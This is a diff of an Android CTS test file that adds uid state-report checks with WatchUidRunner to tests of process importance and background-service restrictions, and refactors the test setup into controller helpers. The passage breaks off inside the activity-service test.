index ec08a89..68ccfc5 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -20,19 +20,23 @@
import android.app.Activity;
import android.app.ActivityManager;
import android.app.Instrumentation;
+import android.app.KeyguardManager;
import android.app.cts.android.app.cts.tools.ServiceConnectionHandler;
import android.app.cts.android.app.cts.tools.ServiceProcessController;
import android.app.cts.android.app.cts.tools.SyncOrderedBroadcast;
import android.app.cts.android.app.cts.tools.UidImportanceListener;
import android.app.cts.android.app.cts.tools.WaitForBroadcast;
+import android.app.cts.android.app.cts.tools.WatchUidRunner;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.os.IBinder;
import android.os.Parcel;
+import android.os.PowerManager;
import android.os.RemoteException;
import android.test.InstrumentationTestCase;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.SystemUtil;
public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
@@ -74,6 +78,9 @@
super.tearDown();
}
+ /**
+ * Test basic state changes as processes go up and down due to services running in them.
+ */
public void testUidImportanceListener() throws Exception {
final Parcel data = Parcel.obtain();
ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent);
@@ -117,109 +124,151 @@
am.addOnUidImportanceListener(uidGoneListener,
ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED);
- // First kill the processes to start out in a stable state.
- conn.bind(WAIT_TIME);
- conn2.bind(WAIT_TIME);
+ WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid);
+
try {
- conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
- } catch (RemoteException e) {
+ // First kill the processes to start out in a stable state.
+ conn.bind(WAIT_TIME);
+ conn2.bind(WAIT_TIME);
+ IBinder service1 = conn.getServiceIBinder();
+ IBinder service2 = conn2.getServiceIBinder();
+ conn.unbind(WAIT_TIME);
+ conn2.unbind(WAIT_TIME);
+ try {
+ service1.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ }
+ try {
+ service2.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ }
+ service1 = service2 = null;
+
+ // Wait for uid's processes to go away.
+ uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // And wait for the uid report to be gone.
+ uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
+ // Now bind and see if we get told about the uid coming in to the foreground.
+ conn.bind(WAIT_TIME);
+ uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // Also make sure the uid state reports are as expected. Wait for active because
+ // there may be some intermediate states as the process comes up.
+ uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
+ // Pull out the service IBinder for a kludy hack...
+ IBinder service = conn.getServiceIBinder();
+
+ // Now unbind and see if we get told about it going to the background.
+ conn.unbind(WAIT_TIME);
+ uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+ // Now kill the process and see if we are told about it being gone.
+ try {
+ service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ // It is okay if it is already gone for some reason.
+ }
+
+ uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
+ // Now we are going to try different combinations of binding to two processes to
+ // see if they are correctly combined together for the app.
+
+ // Bring up both services.
+ conn.bind(WAIT_TIME);
+ conn2.bind(WAIT_TIME);
+ uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // Also make sure the uid state reports are as expected.
+ uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
+ // Bring down one service, app state should remain foreground.
+ conn2.unbind(WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // Bring down other service, app state should now be cached. (If the processes both
+ // actually get killed immediately, this is also not a correctly behaving system.)
+ conn.unbind(WAIT_TIME);
+ uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+ // Bring up one service, this should be sufficient to become foreground.
+ conn2.bind(WAIT_TIME);
+ uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
+ // Bring up other service, should remain foreground.
+ conn.bind(WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // Bring down one service, should remain foreground.
+ conn.unbind(WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ // And bringing down other service should put us back to cached.
+ conn2.unbind(WAIT_TIME);
+ uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
+ assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
+ am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+
+ uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+ } finally {
+ data.recycle();
+
+ uidWatcher.finish();
+
+ am.removeOnUidImportanceListener(uidForegroundListener);
+ am.removeOnUidImportanceListener(uidGoneListener);
}
- try {
- conn2.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
- } catch (RemoteException e) {
- }
- conn.unbind(WAIT_TIME);
- conn2.unbind(WAIT_TIME);
-
- // Wait for uid's processes to go away.
- uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Now bind and see if we get told about the uid coming in to the foreground.
- conn.bind(WAIT_TIME);
- uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Pull out the service IBinder for a kludy hack...
- IBinder service = conn.getServiceIBinder();
-
- // Now unbind and see if we get told about it going to the background.
- conn.unbind(WAIT_TIME);
- uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Now kill the process and see if we are told about it being gone.
- try {
- service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
- } catch (RemoteException e) {
- // It is okay if it is already gone for some reason.
- }
-
- uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Now we are going to try different combinations of binding to two processes to
- // see if they are correctly combined together for the app.
-
- // Bring up both services.
- conn.bind(WAIT_TIME);
- conn2.bind(WAIT_TIME);
- uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Bring down one service, app state should remain foreground.
- conn2.unbind(WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Bring down other service, app state should now be cached. (If the processes both
- // actually get killed immediately, this is also not a correctly behaving system.)
- conn.unbind(WAIT_TIME);
- uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Bring up one service, this should be sufficient to become foreground.
- conn2.bind(WAIT_TIME);
- uidForegroundListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Bring up other service, should remain foreground.
- conn.bind(WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // Bring down one service, should remain foreground.
- conn.unbind(WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- // And bringing down other service should put us back to cached.
- conn2.unbind(WAIT_TIME);
- uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED, WAIT_TIME);
- assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
- am.getPackageImportance(SIMPLE_PACKAGE_NAME));
-
- data.recycle();
-
- am.removeOnUidImportanceListener(uidForegroundListener);
- am.removeOnUidImportanceListener(uidGoneListener);
}
+ /**
+ * Test that background check correctly prevents idle services from running but allows
+ * whitelisted apps to bypass the check.
+ */
public void testBackgroundCheckService() throws Exception {
final Parcel data = Parcel.obtain();
Intent serviceIntent = new Intent();
@@ -249,14 +298,18 @@
am.addOnUidImportanceListener(uidGoneListener,
ActivityManager.RunningAppProcessInfo.IMPORTANCE_EMPTY);
+ WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid);
+
// First kill the process to start out in a stable state.
mContext.stopService(serviceIntent);
conn.bind(WAIT_TIME);
+ IBinder service = conn.getServiceIBinder();
+ conn.unbind(WAIT_TIME);
try {
- conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
} catch (RemoteException e) {
}
- conn.unbind(WAIT_TIME);
+ service = null;
// Wait for uid's process to go away.
uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
@@ -264,9 +317,16 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+ // And wait for the uid report to be gone.
+ uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ // This is a side-effect of the app op command.
+ uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "NONE", WAIT_TIME);
+
// We don't want to wait for the uid to actually go idle, we can force it now.
cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
@@ -298,15 +358,31 @@
mContext.startService(serviceIntent);
conn.waitForConnect(WAIT_TIME);
+ // Also make sure the uid state reports are as expected.
+ uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// Good, now stop the service and give enough time to get off the temp whitelist.
mContext.stopService(serviceIntent);
conn.waitForDisconnect(WAIT_TIME);
+
+ uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
Thread.sleep(3000);
+ // Going off the temp whitelist causes a spurious proc state report... that's
+ // not ideal, but okay.
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
// We don't want to wait for the uid to actually go idle, we can force it now.
cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
// Now that we should be off the temp whitelist, make sure we again can't start.
failed = false;
try {
@@ -326,14 +402,22 @@
mContext.startService(serviceIntent);
conn.waitForConnect(WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// Okay, bring down the service.
mContext.stopService(serviceIntent);
conn.waitForDisconnect(WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
} finally {
mContext.stopService(serviceIntent);
conn.stopMonitoring();
+ uidWatcher.finish();
+
cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
@@ -346,6 +430,11 @@
}
}
+ /**
+ * Test that background check behaves correctly after a process is no longer foreground:
+ * first allowing a service to be started, then stopped by the system when idle.
+ */
+ @CddTest(requirement="3.5/C-0-7")
public void testBackgroundCheckStopsService() throws Exception {
final Parcel data = Parcel.obtain();
ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent);
@@ -373,21 +462,26 @@
am.addOnUidImportanceListener(uidGoneListener,
ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED);
+ WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid);
+
// First kill the process to start out in a stable state.
mContext.stopService(mServiceIntent);
mContext.stopService(mService2Intent);
conn.bind(WAIT_TIME);
conn2.bind(WAIT_TIME);
- try {
- conn.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
- } catch (RemoteException e) {
- }
- try {
- conn2.getServiceIBinder().transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
- } catch (RemoteException e) {
- }
+ IBinder service = conn.getServiceIBinder();
+ IBinder service2 = conn2.getServiceIBinder();
conn.unbind(WAIT_TIME);
conn2.unbind(WAIT_TIME);
+ try {
+ service.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ }
+ try {
+ service2.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ }
+ service = service2 = null;
// Wait for uid's process to go away.
uidGoneListener.waitForValue(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
@@ -395,9 +489,16 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+ // And wait for the uid report to be gone.
+ uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null, WAIT_TIME);
+
cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ // This is a side-effect of the app op command.
+ uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "NONE", WAIT_TIME);
+
// We don't want to wait for the uid to actually go idle, we can force it now.
cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
@@ -421,7 +522,7 @@
fail("Service was allowed to start while in the background");
}
- // First poke the process into the foreground, so we can avoid background check.
+ // First poke the process into the foreground, so we can avoid background check.
conn2.bind(WAIT_TIME);
conn2.waitForConnect(WAIT_TIME);
@@ -432,6 +533,11 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+ // Also make sure the uid state reports are as expected.
+ uidWatcher.waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "FGS", WAIT_TIME);
+
conn2.unbind(WAIT_TIME);
// Wait for process to recover back down to being cached.
@@ -440,10 +546,16 @@
assertEquals(ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED,
am.getPackageImportance(SIMPLE_PACKAGE_NAME));
+ uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
// Try starting the service now that the app is waiting to idle... should work!
mContext.startService(mServiceIntent);
conn.waitForConnect(WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// And also start the second service.
conn2.startMonitoring();
mContext.startService(mService2Intent);
@@ -463,12 +575,19 @@
conn.waitForDisconnect(WAIT_TIME);
conn2.waitForDisconnect(WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ // There may be a transient 'SVC' proc state here.
+ uidWatcher.waitFor(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
} finally {
mContext.stopService(mServiceIntent);
mContext.stopService(mService2Intent);
conn.cleanup(WAIT_TIME);
conn2.cleanup(WAIT_TIME);
+ uidWatcher.finish();
+
cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
@@ -481,6 +600,10 @@
}
}
+ /**
+ * Test the background check doesn't allow services to be started from broadcasts except
+ * when in the correct states.
+ */
public void testBackgroundCheckBroadcastService() throws Exception {
final Intent broadcastIntent = new Intent();
broadcastIntent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
@@ -492,24 +615,18 @@
final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
mServiceIntent);
- // First kill the process to start out in a stable state.
- controller.ensureProcessGone(WAIT_TIME);
-
- String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // We don't want to wait for the uid to actually go idle, we can force it now.
- cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // Make sure app is not yet on whitelist
- cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // We will use this to monitor when the service is running.
- conn.startMonitoring();
-
try {
+ // First kill the process to start out in a stable state.
+ controller.ensureProcessGone(WAIT_TIME);
+
+ // Do initial setup.
+ controller.denyBackgroundOp(WAIT_TIME);
+ controller.makeUidIdle();
+ controller.removeFromWhitelist();
+
+ // We will use this to monitor when the service is running.
+ conn.startMonitoring();
+
// Try sending broadcast to start the service. Should fail!
SyncOrderedBroadcast br = new SyncOrderedBroadcast();
broadcastIntent.putExtra("service", mServiceIntent);
@@ -519,9 +636,19 @@
fail("Didn't fail starting service, result=" + brCode);
}
+ // Track the uid proc state changes from the broadcast (but not service execution)
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
// Put app on temporary whitelist to see if this allows the service start.
- cmd = "cmd deviceidle tempwhitelist -d 2000 " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ controller.tempWhitelist(2000);
+
+ // Being on the whitelist means the uid is now active.
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
// Try starting the service now that the app is whitelisted... should work!
br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
@@ -531,18 +658,33 @@
}
conn.waitForConnect(WAIT_TIME);
+ // Also make sure the uid state reports are as expected.
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ // We are going to wait until 'SVC', because we may see an intermediate 'RCVR'
+ // proc state depending on timing.
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// Good, now stop the service and give enough time to get off the temp whitelist.
mContext.stopService(mServiceIntent);
conn.waitForDisconnect(WAIT_TIME);
+
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
Thread.sleep(3000);
+ // Going off the temp whitelist causes a spurious proc state report... that's
+ // not ideal, but okay.
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
+ // We don't want to wait for the uid to actually go idle, we can force it now.
+ controller.makeUidIdle();
+
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+
// Make sure the process is gone so we start over fresh.
controller.ensureProcessGone(WAIT_TIME);
- // We don't want to wait for the uid to actually go idle, we can force it now.
- cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
// Now that we should be off the temp whitelist, make sure we again can't start.
br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
brCode = br.getReceivedCode();
@@ -550,9 +692,17 @@
fail("Didn't fail starting service, result=" + brCode);
}
+ // Track the uid proc state changes from the broadcast (but not service execution)
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
+ // There could be a transient 'cached' state here before 'uncached' if uid state
+ // changes are dispatched before receiver is started.
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
// Now put app on whitelist, should allow service to run.
- cmd = "cmd deviceidle whitelist +" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ controller.addToWhitelist();
// Try starting the service now that the app is whitelisted... should work!
br.sendAndWait(mContext, broadcastIntent, Activity.RESULT_OK, null, null, WAIT_TIME);
@@ -562,24 +712,28 @@
}
conn.waitForConnect(WAIT_TIME);
+ // Also make sure the uid state reports are as expected.
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+ controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
+
// Okay, bring down the service.
mContext.stopService(mServiceIntent);
conn.waitForDisconnect(WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
+ controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
+
} finally {
mContext.stopService(mServiceIntent);
- conn.stopMonitoring();
-
- cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
- cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
+ conn.stopMonitoringIfNeeded();
controller.cleanup();
}
}
+ /**
+ * Test that background check does allow services to be started from activities.
+ */
public void testBackgroundCheckActivityService() throws Exception {
final Intent activityIntent = new Intent();
activityIntent.setClassName(SIMPLE_PACKAGE_NAME,
@@ -590,24 +744,18 @@
final ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext,
mServiceIntent);
- // First kill the process to start out in a stable state.
- controller.ensureProcessGone(WAIT_TIME);
-
- String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // We don't want to wait for the uid to actually go idle, we can force it now.
- cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // Make sure app is not yet on whitelist
- cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
- result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
-
- // We will use this to monitor when the service is running.
- conn.startMonitoring();
-
try {
+ // First kill the process to start out in a stable state.
